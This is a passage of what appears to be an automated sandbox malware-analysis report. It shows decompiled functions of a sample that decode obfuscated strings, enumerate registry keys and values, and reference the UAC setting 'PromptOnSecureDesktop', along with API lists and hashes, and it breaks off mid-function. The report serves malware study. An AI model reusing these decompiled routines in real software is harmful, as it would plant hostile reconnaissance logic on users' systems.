API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction ID: 8eb9ea6afe9ee9197cc0e6cd2b03883a1bab6226c4cfd690aa98a93bf3167ae2
Opcode Fuzzy Hash: 22371034e60be2e8533f9a4e74c45ceaa5b305d0f588b9e787c30c92806b4a47
Instruction Fuzzy Hash: 275291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00419C7A, Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 521
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vswprintf.LIBCMTD ref: 00419C99

Part of subcall function 0041B290: __vsprintf_l.LIBCMTD ref: 0041B2A3

_putc.LIBCMTD ref: 00419CA0

Part of subcall function 0041AEC0: __invalid_parameter.LIBCMTD ref: 0041AF4D

__wrename.LIBCMTD ref: 00419CA7

Part of subcall function 0041AE70: __dosmaperr.LIBCMTD ref: 0041AEA4

_atexit.LIBCMTD ref: 00419CAD

Part of subcall function 0041AC00: __atof_l.LIBCMTD ref: 0041AC0B

_malloc.LIBCMTD ref: 00419CBF
_realloc.LIBCMTD ref: 00419CC6

Part of subcall function 0041A950: __realloc_dbg.LIBCMTD ref: 0041A964

_ferror.LIBCMTD ref: 00419CCC

Part of subcall function 0041A8D0: __invalid_parameter.LIBCMTD ref: 0041A92A

Part of subcall function 0041A8B0: __wcstoi64.LIBCMTD ref: 0041A8BD

_memset.LIBCMT ref: 0041A0F9

Strings

cbH, xrefs: 00419FBA

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __invalid_parameter$__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_malloc_memset_putc_realloc
String ID: cbH
API String ID: 408336251-2585554156
Opcode ID: dce9bb46ea862730599f11a7598dffa08c5de1d904e499d5fe4fc724587edf4c
Instruction ID: 6e09a5fb1fbb245d044fb925f0eeec6c285f540f62a4a6de4348f8d14e33e08b
Opcode Fuzzy Hash: dce9bb46ea862730599f11a7598dffa08c5de1d904e499d5fe4fc724587edf4c
Instruction Fuzzy Hash: 38F1EB76442561BBD315ABA1EE4CDDF3EACEF4A395B004429F24AE5070CB384645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,73B743E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,73B743E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,73B743E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,73B743E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,73B743E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,73B743E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,73B743E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,73B743E0,?,73B743E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(73B743E0,00000000,?,00000020,00000000,00000000,00000000,0000012C), ref: 0040719E
RegCloseKey.KERNELBASE(73B743E0,?,73B743E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(73B743E0), ref: 00407208
RegCloseKey.ADVAPI32(73B743E0), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(73B743E0), ref: 004072D0
RegCloseKey.ADVAPI32(73B743E0), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(73B743E0), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

", xrefs: 00407227
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A
, xrefs: 00407194

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				 *(_t168 + 0x5c) = E00406EDD();
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
